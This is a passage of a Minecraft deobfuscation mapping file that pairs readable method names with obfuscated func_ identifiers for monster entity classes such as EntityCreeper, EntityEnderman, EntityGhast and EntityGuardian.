net/minecraft/entity/monster/EntityCreeper/ignite ()V net/minecraft/entity/monster/EntityCreeper/func_146079_cb ()V +MD: net/minecraft/entity/monster/EntityCreeper/isAIEnabled ()Z net/minecraft/entity/monster/EntityCreeper/func_70650_aV ()Z +MD: net/minecraft/entity/monster/EntityCreeper/func_175493_co ()V net/minecraft/entity/monster/EntityCreeper/func_175493_co ()V +MD: net/minecraft/entity/monster/EntityCreeper/explode ()V net/minecraft/entity/monster/EntityCreeper/func_146077_cc ()V +MD: net/minecraft/entity/monster/EntityCreeper/fall (FF)V net/minecraft/entity/monster/EntityCreeper/func_180430_e (FF)V +MD: net/minecraft/entity/monster/EntityCreeper/entityInit ()V net/minecraft/entity/monster/EntityCreeper/func_70088_a ()V +MD: net/minecraft/entity/monster/EntityCreeper/getPowered ()Z net/minecraft/entity/monster/EntityCreeper/func_70830_n ()Z +MD: net/minecraft/entity/monster/EntityCreeper/attackEntityAsMob (Lnet/minecraft/entity/Entity;)Z net/minecraft/entity/monster/EntityCreeper/func_70652_k (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/entity/monster/EntityCreeper/onUpdate ()V net/minecraft/entity/monster/EntityCreeper/func_70071_h_ ()V +MD: net/minecraft/entity/monster/EntityEnderman$1/apply (Lnet/minecraft/entity/monster/EntityEndermite;)Z net/minecraft/entity/monster/EntityEnderman$1/apply (Lnet/minecraft/entity/monster/EntityEndermite;)Z +MD: net/minecraft/entity/monster/EntityEnderman$1/apply (Ljava/lang/Object;)Z net/minecraft/entity/monster/EntityEnderman$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/entity/monster/EntityEnderman$AIPlaceBlock/shouldExecute ()Z net/minecraft/entity/monster/EntityEnderman$AIPlaceBlock/func_75250_a ()Z +MD: net/minecraft/entity/monster/EntityEnderman$AIPlaceBlock/func_179474_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;Lnet/minecraft/block/Block;Lnet/minecraft/block/Block;)Z net/minecraft/entity/monster/EntityEnderman$AIPlaceBlock/func_179474_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;Lnet/minecraft/block/Block;Lnet/minecraft/block/Block;)Z +MD: net/minecraft/entity/monster/EntityEnderman$AIPlaceBlock/updateTask ()V net/minecraft/entity/monster/EntityEnderman$AIPlaceBlock/func_75246_d ()V +MD: net/minecraft/entity/monster/EntityEnderman$AIFindPlayer/shouldExecute ()Z net/minecraft/entity/monster/EntityEnderman$AIFindPlayer/func_75250_a ()Z +MD: net/minecraft/entity/monster/EntityEnderman$AIFindPlayer/continueExecuting ()Z net/minecraft/entity/monster/EntityEnderman$AIFindPlayer/func_75253_b ()Z +MD: net/minecraft/entity/monster/EntityEnderman$AIFindPlayer/startExecuting ()V net/minecraft/entity/monster/EntityEnderman$AIFindPlayer/func_75249_e ()V +MD: net/minecraft/entity/monster/EntityEnderman$AIFindPlayer/resetTask ()V net/minecraft/entity/monster/EntityEnderman$AIFindPlayer/func_75251_c ()V +MD: net/minecraft/entity/monster/EntityEnderman$AIFindPlayer/updateTask ()V net/minecraft/entity/monster/EntityEnderman$AIFindPlayer/func_75246_d ()V +MD: net/minecraft/entity/monster/EntityEnderman$AITakeBlock/shouldExecute ()Z net/minecraft/entity/monster/EntityEnderman$AITakeBlock/func_75250_a ()Z +MD: net/minecraft/entity/monster/EntityEnderman$AITakeBlock/updateTask ()V net/minecraft/entity/monster/EntityEnderman$AITakeBlock/func_75246_d ()V +MD: net/minecraft/entity/monster/EntityEnderman/getDropItem ()Lnet/minecraft/item/Item; net/minecraft/entity/monster/EntityEnderman/func_146068_u ()Lnet/minecraft/item/Item; +MD: net/minecraft/entity/monster/EntityEnderman/updateAITasks ()V net/minecraft/entity/monster/EntityEnderman/func_70619_bc ()V +MD: net/minecraft/entity/monster/EntityEnderman/setHeldBlockState (Lnet/minecraft/block/state/IBlockState;)V net/minecraft/entity/monster/EntityEnderman/func_175490_a (Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/entity/monster/EntityEnderman/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/monster/EntityEnderman/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/monster/EntityEnderman/attackEntityFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/monster/EntityEnderman/func_70097_a (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/monster/EntityEnderman/access$100 (Lnet/minecraft/entity/monster/EntityEnderman;Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/monster/EntityEnderman/access$100 (Lnet/minecraft/entity/monster/EntityEnderman;Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/monster/EntityEnderman/access$202 (Lnet/minecraft/entity/monster/EntityEnderman;Z)Z net/minecraft/entity/monster/EntityEnderman/access$202 (Lnet/minecraft/entity/monster/EntityEnderman;Z)Z +MD: net/minecraft/entity/monster/EntityEnderman/setScreaming (Z)V net/minecraft/entity/monster/EntityEnderman/func_70819_e (Z)V +MD: net/minecraft/entity/monster/EntityEnderman/getEyeHeight ()F net/minecraft/entity/monster/EntityEnderman/func_70047_e ()F +MD: net/minecraft/entity/monster/EntityEnderman/applyEntityAttributes ()V net/minecraft/entity/monster/EntityEnderman/func_110147_ax ()V +MD: net/minecraft/entity/monster/EntityEnderman/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/monster/EntityEnderman/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/monster/EntityEnderman/teleportToEntity (Lnet/minecraft/entity/Entity;)Z net/minecraft/entity/monster/EntityEnderman/func_70816_c (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/entity/monster/EntityEnderman/dropFewItems (ZI)V net/minecraft/entity/monster/EntityEnderman/func_70628_a (ZI)V +MD: net/minecraft/entity/monster/EntityEnderman/getHurtSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityEnderman/func_70621_aR ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityEnderman/getDeathSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityEnderman/func_70673_aS ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityEnderman/shouldAttackPlayer (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/monster/EntityEnderman/func_70821_d (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/monster/EntityEnderman/getHeldBlockState ()Lnet/minecraft/block/state/IBlockState; net/minecraft/entity/monster/EntityEnderman/func_175489_ck ()Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/entity/monster/EntityEnderman/isScreaming ()Z net/minecraft/entity/monster/EntityEnderman/func_70823_r ()Z +MD: net/minecraft/entity/monster/EntityEnderman/access$000 ()Lnet/minecraft/entity/ai/attributes/AttributeModifier; net/minecraft/entity/monster/EntityEnderman/access$000 ()Lnet/minecraft/entity/ai/attributes/AttributeModifier; +MD: net/minecraft/entity/monster/EntityEnderman/access$300 ()Ljava/util/Set; net/minecraft/entity/monster/EntityEnderman/access$300 ()Ljava/util/Set; +MD: net/minecraft/entity/monster/EntityEnderman/entityInit ()V net/minecraft/entity/monster/EntityEnderman/func_70088_a ()V +MD: net/minecraft/entity/monster/EntityEnderman/teleportTo (DDD)Z net/minecraft/entity/monster/EntityEnderman/func_70825_j (DDD)Z +MD: net/minecraft/entity/monster/EntityEnderman/onLivingUpdate ()V net/minecraft/entity/monster/EntityEnderman/func_70636_d ()V +MD: net/minecraft/entity/monster/EntityEnderman/teleportRandomly ()Z net/minecraft/entity/monster/EntityEnderman/func_70820_n ()Z +MD: net/minecraft/entity/monster/EntityEnderman/getLivingSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityEnderman/func_70639_aQ ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityEndermite/getDropItem ()Lnet/minecraft/item/Item; net/minecraft/entity/monster/EntityEndermite/func_146068_u ()Lnet/minecraft/item/Item; +MD: net/minecraft/entity/monster/EntityEndermite/playStepSound (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V net/minecraft/entity/monster/EntityEndermite/func_180429_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V +MD: net/minecraft/entity/monster/EntityEndermite/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/monster/EntityEndermite/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/monster/EntityEndermite/setSpawnedByPlayer (Z)V net/minecraft/entity/monster/EntityEndermite/func_175496_a (Z)V +MD: net/minecraft/entity/monster/EntityEndermite/getEyeHeight ()F net/minecraft/entity/monster/EntityEndermite/func_70047_e ()F +MD: net/minecraft/entity/monster/EntityEndermite/applyEntityAttributes ()V net/minecraft/entity/monster/EntityEndermite/func_110147_ax ()V +MD: net/minecraft/entity/monster/EntityEndermite/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/monster/EntityEndermite/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/monster/EntityEndermite/getCanSpawnHere ()Z net/minecraft/entity/monster/EntityEndermite/func_70601_bi ()Z +MD: net/minecraft/entity/monster/EntityEndermite/getHurtSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityEndermite/func_70621_aR ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityEndermite/getDeathSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityEndermite/func_70673_aS ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityEndermite/getCreatureAttribute ()Lnet/minecraft/entity/EnumCreatureAttribute; net/minecraft/entity/monster/EntityEndermite/func_70668_bt ()Lnet/minecraft/entity/EnumCreatureAttribute; +MD: net/minecraft/entity/monster/EntityEndermite/onLivingUpdate ()V net/minecraft/entity/monster/EntityEndermite/func_70636_d ()V +MD: net/minecraft/entity/monster/EntityEndermite/isSpawnedByPlayer ()Z net/minecraft/entity/monster/EntityEndermite/func_175495_n ()Z +MD: net/minecraft/entity/monster/EntityEndermite/isValidLightLevel ()Z net/minecraft/entity/monster/EntityEndermite/func_70814_o ()Z +MD: net/minecraft/entity/monster/EntityEndermite/canTriggerWalking ()Z net/minecraft/entity/monster/EntityEndermite/func_70041_e_ ()Z +MD: net/minecraft/entity/monster/EntityEndermite/onUpdate ()V net/minecraft/entity/monster/EntityEndermite/func_70071_h_ ()V +MD: net/minecraft/entity/monster/EntityEndermite/getLivingSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityEndermite/func_70639_aQ ()Ljava/lang/String; +MD: net/minecraft/entity/monster/IMob$1/apply (Lnet/minecraft/entity/Entity;)Z net/minecraft/entity/monster/IMob$1/apply (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/entity/monster/IMob$1/apply (Ljava/lang/Object;)Z net/minecraft/entity/monster/IMob$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/entity/monster/IMob$2/apply (Lnet/minecraft/entity/Entity;)Z net/minecraft/entity/monster/IMob$2/apply (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/entity/monster/IMob$2/apply (Ljava/lang/Object;)Z net/minecraft/entity/monster/IMob$2/apply (Ljava/lang/Object;)Z +MD: net/minecraft/entity/monster/EntityGhast$AILookAround/shouldExecute ()Z net/minecraft/entity/monster/EntityGhast$AILookAround/func_75250_a ()Z +MD: net/minecraft/entity/monster/EntityGhast$AILookAround/updateTask ()V net/minecraft/entity/monster/EntityGhast$AILookAround/func_75246_d ()V +MD: net/minecraft/entity/monster/EntityGhast$GhastMoveHelper/isNotColliding (DDDD)Z net/minecraft/entity/monster/EntityGhast$GhastMoveHelper/func_179926_b (DDDD)Z +MD: net/minecraft/entity/monster/EntityGhast$GhastMoveHelper/onUpdateMoveHelper ()V net/minecraft/entity/monster/EntityGhast$GhastMoveHelper/func_75641_c ()V +MD: net/minecraft/entity/monster/EntityGhast$AIFireballAttack/shouldExecute ()Z net/minecraft/entity/monster/EntityGhast$AIFireballAttack/func_75250_a ()Z +MD: net/minecraft/entity/monster/EntityGhast$AIFireballAttack/startExecuting ()V net/minecraft/entity/monster/EntityGhast$AIFireballAttack/func_75249_e ()V +MD: net/minecraft/entity/monster/EntityGhast$AIFireballAttack/resetTask ()V net/minecraft/entity/monster/EntityGhast$AIFireballAttack/func_75251_c ()V +MD: net/minecraft/entity/monster/EntityGhast$AIFireballAttack/updateTask ()V net/minecraft/entity/monster/EntityGhast$AIFireballAttack/func_75246_d ()V +MD: net/minecraft/entity/monster/EntityGhast$AIRandomFly/shouldExecute ()Z net/minecraft/entity/monster/EntityGhast$AIRandomFly/func_75250_a ()Z +MD: net/minecraft/entity/monster/EntityGhast$AIRandomFly/continueExecuting ()Z net/minecraft/entity/monster/EntityGhast$AIRandomFly/func_75253_b ()Z +MD: net/minecraft/entity/monster/EntityGhast$AIRandomFly/startExecuting ()V net/minecraft/entity/monster/EntityGhast$AIRandomFly/func_75249_e ()V +MD: net/minecraft/entity/monster/EntityGhast/getDropItem ()Lnet/minecraft/item/Item; net/minecraft/entity/monster/EntityGhast/func_146068_u ()Lnet/minecraft/item/Item; +MD: net/minecraft/entity/monster/EntityGhast/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/monster/EntityGhast/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/monster/EntityGhast/attackEntityFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/monster/EntityGhast/func_70097_a (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/monster/EntityGhast/setAttacking (Z)V net/minecraft/entity/monster/EntityGhast/func_175454_a (Z)V +MD: net/minecraft/entity/monster/EntityGhast/getEyeHeight ()F net/minecraft/entity/monster/EntityGhast/func_70047_e ()F +MD: net/minecraft/entity/monster/EntityGhast/applyEntityAttributes ()V net/minecraft/entity/monster/EntityGhast/func_110147_ax ()V +MD: net/minecraft/entity/monster/EntityGhast/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/monster/EntityGhast/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/monster/EntityGhast/dropFewItems (ZI)V net/minecraft/entity/monster/EntityGhast/func_70628_a (ZI)V +MD: net/minecraft/entity/monster/EntityGhast/getSoundVolume ()F net/minecraft/entity/monster/EntityGhast/func_70599_aP ()F +MD: net/minecraft/entity/monster/EntityGhast/getCanSpawnHere ()Z net/minecraft/entity/monster/EntityGhast/func_70601_bi ()Z +MD: net/minecraft/entity/monster/EntityGhast/getMaxSpawnedInChunk ()I net/minecraft/entity/monster/EntityGhast/func_70641_bl ()I +MD: net/minecraft/entity/monster/EntityGhast/getHurtSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityGhast/func_70621_aR ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityGhast/getDeathSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityGhast/func_70673_aS ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityGhast/getFireballStrength ()I net/minecraft/entity/monster/EntityGhast/func_175453_cd ()I +MD: net/minecraft/entity/monster/EntityGhast/entityInit ()V net/minecraft/entity/monster/EntityGhast/func_70088_a ()V +MD: net/minecraft/entity/monster/EntityGhast/isAttacking ()Z net/minecraft/entity/monster/EntityGhast/func_110182_bF ()Z +MD: net/minecraft/entity/monster/EntityGhast/onUpdate ()V net/minecraft/entity/monster/EntityGhast/func_70071_h_ ()V +MD: net/minecraft/entity/monster/EntityGhast/getLivingSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityGhast/func_70639_aQ ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityGiantZombie/getBlockPathWeight (Lnet/minecraft/util/BlockPos;)F net/minecraft/entity/monster/EntityGiantZombie/func_180484_a (Lnet/minecraft/util/BlockPos;)F +MD: net/minecraft/entity/monster/EntityGiantZombie/getEyeHeight ()F net/minecraft/entity/monster/EntityGiantZombie/func_70047_e ()F +MD: net/minecraft/entity/monster/EntityGiantZombie/applyEntityAttributes ()V net/minecraft/entity/monster/EntityGiantZombie/func_110147_ax ()V +MD: net/minecraft/entity/monster/EntityGuardian$1/apply (Lnet/minecraft/entity/player/EntityPlayerMP;)Z net/minecraft/entity/monster/EntityGuardian$1/apply (Lnet/minecraft/entity/player/EntityPlayerMP;)Z +MD: net/minecraft/entity/monster/EntityGuardian$1/apply (Ljava/lang/Object;)Z net/minecraft/entity/monster/EntityGuardian$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/entity/monster/EntityGuardian$AIGuardianAttack/shouldExecute ()Z net/minecraft/entity/monster/EntityGuardian$AIGuardianAttack/func_75250_a ()Z +MD: net/minecraft/entity/monster/EntityGuardian$AIGuardianAttack/continueExecuting ()Z net/minecraft/entity/monster/EntityGuardian$AIGuardianAttack/func_75253_b ()Z +MD: net/minecraft/entity/monster/EntityGuardian$AIGuardianAttack/startExecuting ()V net/minecraft/entity/monster/EntityGuardian$AIGuardianAttack/func_75249_e ()V +MD: net/minecraft/entity/monster/EntityGuardian$AIGuardianAttack/resetTask ()V net/minecraft/entity/monster/EntityGuardian$AIGuardianAttack/func_75251_c ()V +MD: net/minecraft/entity/monster/EntityGuardian$AIGuardianAttack/updateTask ()V net/minecraft/entity/monster/EntityGuardian$AIGuardianAttack/func_75246_d ()V +MD: net/minecraft/entity/monster/EntityGuardian$GuardianTargetSelector/apply (Lnet/minecraft/entity/EntityLivingBase;)Z net/minecraft/entity/monster/EntityGuardian$GuardianTargetSelector/apply (Lnet/minecraft/entity/EntityLivingBase;)Z +MD: net/minecraft/entity/monster/EntityGuardian$GuardianTargetSelector/apply (Ljava/lang/Object;)Z net/minecraft/entity/monster/EntityGuardian$GuardianTargetSelector/apply (Ljava/lang/Object;)Z +MD: net/minecraft/entity/monster/EntityGuardian$GuardianMoveHelper/onUpdateMoveHelper ()V net/minecraft/entity/monster/EntityGuardian$GuardianMoveHelper/func_75641_c ()V +MD: net/minecraft/entity/monster/EntityGuardian/updateAITasks ()V net/minecraft/entity/monster/EntityGuardian/func_70619_bc ()V +MD: net/minecraft/entity/monster/EntityGuardian/func_175471_a (F)F net/minecraft/entity/monster/EntityGuardian/func_175471_a (F)F +MD: net/minecraft/entity/monster/EntityGuardian/isSyncedFlagSet (I)Z net/minecraft/entity/monster/EntityGuardian/func_175468_a (I)Z +MD: net/minecraft/entity/monster/EntityGuardian/setSyncedFlag (IZ)V net/minecraft/entity/monster/EntityGuardian/func_175473_a (IZ)V +MD: net/minecraft/entity/monster/EntityGuardian/getBlockPathWeight (Lnet/minecraft/util/BlockPos;)F net/minecraft/entity/monster/EntityGuardian/func_180484_a (Lnet/minecraft/util/BlockPos;)F +MD: net/minecraft/entity/monster/EntityGuardian/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/monster/EntityGuardian/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/monster/EntityGuardian/attackEntityFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/monster/EntityGuardian/func_70097_a (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/monster/EntityGuardian/access$100 (Lnet/minecraft/entity/monster/EntityGuardian;)Lnet/minecraft/entity/ai/EntityAIWander; net/minecraft/entity/monster/EntityGuardian/access$100 (Lnet/minecraft/entity/monster/EntityGuardian;)Lnet/minecraft/entity/ai/EntityAIWander; +MD: net/minecraft/entity/monster/EntityGuardian/access$000 (Lnet/minecraft/entity/monster/EntityGuardian;I)V net/minecraft/entity/monster/EntityGuardian/access$000 (Lnet/minecraft/entity/monster/EntityGuardian;I)V +MD: net/minecraft/entity/monster/EntityGuardian/access$200 (Lnet/minecraft/entity/monster/EntityGuardian;Z)V net/minecraft/entity/monster/EntityGuardian/access$200 (Lnet/minecraft/entity/monster/EntityGuardian;Z)V +MD: net/minecraft/entity/monster/EntityGuardian/setElder (Z)V net/minecraft/entity/monster/EntityGuardian/func_175467_a (Z)V +MD: net/minecraft/entity/monster/EntityGuardian/getEyeHeight ()F net/minecraft/entity/monster/EntityGuardian/func_70047_e ()F +MD: net/minecraft/entity/monster/EntityGuardian/applyEntityAttributes ()V net/minecraft/entity/monster/EntityGuardian/func_110147_ax ()V +MD: net/minecraft/entity/monster/EntityGuardian/setTargetedEntity (I)V net/minecraft/entity/monster/EntityGuardian/func_175463_b (I)V +MD: net/minecraft/entity/monster/EntityGuardian/getNewNavigator (Lnet/minecraft/world/World;)Lnet/minecraft/pathfinding/PathNavigate; net/minecraft/entity/monster/EntityGuardian/func_175447_b (Lnet/minecraft/world/World;)Lnet/minecraft/pathfinding/PathNavigate; +MD: net/minecraft/entity/monster/EntityGuardian/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/monster/EntityGuardian/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/monster/EntityGuardian/dropFewItems (ZI)V net/minecraft/entity/monster/EntityGuardian/func_70628_a (ZI)V +MD: net/minecraft/entity/monster/EntityGuardian/getVerticalFaceSpeed ()I net/minecraft/entity/monster/EntityGuardian/func_70646_bf ()I +MD: net/minecraft/entity/monster/EntityGuardian/getCanSpawnHere ()Z net/minecraft/entity/monster/EntityGuardian/func_70601_bi ()Z +MD: net/minecraft/entity/monster/EntityGuardian/isNotColliding ()Z net/minecraft/entity/monster/EntityGuardian/func_70058_J ()Z +MD: net/minecraft/entity/monster/EntityGuardian/getHurtSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityGuardian/func_70621_aR ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityGuardian/getDeathSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityGuardian/func_70673_aS ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityGuardian/addRandomDrop ()V net/minecraft/entity/monster/EntityGuardian/func_82164_bB ()V +MD: net/minecraft/entity/monster/EntityGuardian/func_175464_ck ()I net/minecraft/entity/monster/EntityGuardian/func_175464_ck ()I +MD: net/minecraft/entity/monster/EntityGuardian/isElder ()Z net/minecraft/entity/monster/EntityGuardian/func_175461_cl ()Z +MD: net/minecraft/entity/monster/EntityGuardian/setElder ()V net/minecraft/entity/monster/EntityGuardian/func_175465_cm ()V +MD: net/minecraft/entity/monster/EntityGuardian/hasTargetedEntity ()Z net/minecraft/entity/monster/EntityGuardian/func_175474_cn ()Z +MD: net/minecraft/entity/monster/EntityGuardian/getTargetedEntity ()Lnet/minecraft/entity/EntityLivingBase; net/minecraft/entity/monster/EntityGuardian/func_175466_co ()Lnet/minecraft/entity/EntityLivingBase; +MD: net/minecraft/entity/monster/EntityGuardian/moveEntityWithHeading (FF)V net/minecraft/entity/monster/EntityGuardian/func_70612_e (FF)V +MD: net/minecraft/entity/monster/EntityGuardian/entityInit ()V net/minecraft/entity/monster/EntityGuardian/func_70088_a ()V +MD: net/minecraft/entity/monster/EntityGuardian/onDataWatcherUpdate (I)V net/minecraft/entity/monster/EntityGuardian/func_145781_i (I)V +MD: net/minecraft/entity/monster/EntityGuardian/func_175476_l (Z)V net/minecraft/entity/monster/EntityGuardian/func_175476_l (Z)V +MD: net/minecraft/entity/monster/EntityGuardian/onLivingUpdate ()V net/minecraft/entity/monster/EntityGuardian/func_70636_d ()V +MD: net/minecraft/entity/monster/EntityGuardian/func_175472_n ()Z net/minecraft/entity/monster/EntityGuardian/func_175472_n ()Z +MD: net/minecraft/entity/monster/EntityGuardian/isValidLightLevel ()Z net/minecraft/entity/monster/EntityGuardian/func_70814_o ()Z +MD: net/minecraft/entity/monster/EntityGuardian/func_175469_o (F)F net/minecraft/entity/monster/EntityGuardian/func_175469_o (F)F +MD: net/minecraft/entity/monster/EntityGuardian/func_175477_p (F)F net/minecraft/entity/monster/EntityGuardian/func_175477_p (F)F +MD: net/minecraft/entity/monster/EntityGuardian/canTriggerWalking ()Z net/minecraft/entity/monster/EntityGuardian/func_70041_e_ ()Z +MD: net/minecraft/entity/monster/EntityGuardian/getTalkInterval ()I net/minecraft/entity/monster/EntityGuardian/func_70627_aG ()I +MD: net/minecraft/entity/monster/EntityGuardian/getLivingSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityGuardian/func_70639_aQ ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityMagmaCube/getDropItem ()Lnet/minecraft/item/Item; net/minecraft/entity/monster/EntityMagmaCube/func_146068_u ()Lnet/minecraft/item/Item; +MD: net/minecraft/entity/monster/EntityMagmaCube/applyEntityAttributes ()V net/minecraft/entity/monster/EntityMagmaCube/func_110147_ax ()V +MD: net/minecraft/entity/monster/EntityMagmaCube/isBurning ()Z net/minecraft/entity/monster/EntityMagmaCube/func_70027_ad ()Z +MD: net/minecraft/entity/monster/EntityMagmaCube/getBrightnessForRender (F)I net/minecraft/entity/monster/EntityMagmaCube/func_70070_b (F)I +MD: net/minecraft/entity/monster/EntityMagmaCube/dropFewItems (ZI)V net/minecraft/entity/monster/EntityMagmaCube/func_70628_a (ZI)V +MD: net/minecraft/entity/monster/EntityMagmaCube/jump ()V net/minecraft/entity/monster/EntityMagmaCube/func_70664_aZ ()V +MD: net/minecraft/entity/monster/EntityMagmaCube/handleJumpLava ()V net/minecraft/entity/monster/EntityMagmaCube/func_180466_bG ()V +MD: net/minecraft/entity/monster/EntityMagmaCube/getCanSpawnHere ()Z net/minecraft/entity/monster/EntityMagmaCube/func_70601_bi ()Z +MD: net/minecraft/entity/monster/EntityMagmaCube/isNotColliding ()Z net/minecraft/entity/monster/EntityMagmaCube/func_70058_J ()Z +MD: net/minecraft/entity/monster/EntityMagmaCube/getTotalArmorValue ()I net/minecraft/entity/monster/EntityMagmaCube/func_70658_aO ()I +MD: net/minecraft/entity/monster/EntityMagmaCube/getBrightness (F)F net/minecraft/entity/monster/EntityMagmaCube/func_70013_c (F)F +MD: net/minecraft/entity/monster/EntityMagmaCube/createInstance ()Lnet/minecraft/entity/monster/EntitySlime; net/minecraft/entity/monster/EntityMagmaCube/func_70802_j ()Lnet/minecraft/entity/monster/EntitySlime; +MD: net/minecraft/entity/monster/EntityMagmaCube/getJumpDelay ()I net/minecraft/entity/monster/EntityMagmaCube/func_70806_k ()I +MD: net/minecraft/entity/monster/EntityMagmaCube/alterSquishAmount ()V net/minecraft/entity/monster/EntityMagmaCube/func_70808_l ()V +MD: net/minecraft/entity/monster/EntityMagmaCube/canDamagePlayer ()Z net/minecraft/entity/monster/EntityMagmaCube/func_70800_m ()Z +MD: net/minecraft/entity/monster/EntityMagmaCube/getAttackStrength ()I net/minecraft/entity/monster/EntityMagmaCube/func_70805_n ()I +MD: net/minecraft/entity/monster/EntityMagmaCube/getJumpSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityMagmaCube/func_70803_o ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityMagmaCube/makesSoundOnLand ()Z net/minecraft/entity/monster/EntityMagmaCube/func_70804_p ()Z +MD: net/minecraft/entity/monster/EntityMagmaCube/fall (FF)V net/minecraft/entity/monster/EntityMagmaCube/func_180430_e (FF)V +MD: net/minecraft/entity/monster/EntityMagmaCube/getParticleType ()Lnet/minecraft/util/EnumParticleTypes; net/minecraft/entity/monster/EntityMagmaCube/func_180487_n ()Lnet/minecraft/util/EnumParticleTypes; +MD: net/minecraft/entity/monster/EntityMob/getSwimSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityMob/func_145776_H ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityMob/getBlockPathWeight (Lnet/minecraft/util/BlockPos;)F net/minecraft/entity/monster/EntityMob/func_180484_a (Lnet/minecraft/util/BlockPos;)F +MD: net/minecraft/entity/monster/EntityMob/attackEntityFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/monster/EntityMob/func_70097_a (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/monster/EntityMob/applyEntityAttributes ()V net/minecraft/entity/monster/EntityMob/func_110147_ax ()V +MD: net/minecraft/entity/monster/EntityMob/getSplashSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityMob/func_145777_O ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityMob/getCanSpawnHere ()Z net/minecraft/entity/monster/EntityMob/func_70601_bi ()Z +MD: net/minecraft/entity/monster/EntityMob/canDropLoot ()Z net/minecraft/entity/monster/EntityMob/func_146066_aG ()Z +MD: net/minecraft/entity/monster/EntityMob/getHurtSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityMob/func_70621_aR ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityMob/getDeathSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityMob/func_70673_aS ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityMob/onLivingUpdate ()V net/minecraft/entity/monster/EntityMob/func_70636_d ()V +MD: net/minecraft/entity/monster/EntityMob/getFallSoundString (I)Ljava/lang/String; net/minecraft/entity/monster/EntityMob/func_146067_o (I)Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityMob/isValidLightLevel ()Z net/minecraft/entity/monster/EntityMob/func_70814_o ()Z +MD: net/minecraft/entity/monster/EntityMob/attackEntityAsMob (Lnet/minecraft/entity/Entity;)Z net/minecraft/entity/monster/EntityMob/func_70652_k (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/entity/monster/EntityMob/onUpdate ()V net/minecraft/entity/monster/EntityMob/func_70071_h_ ()V 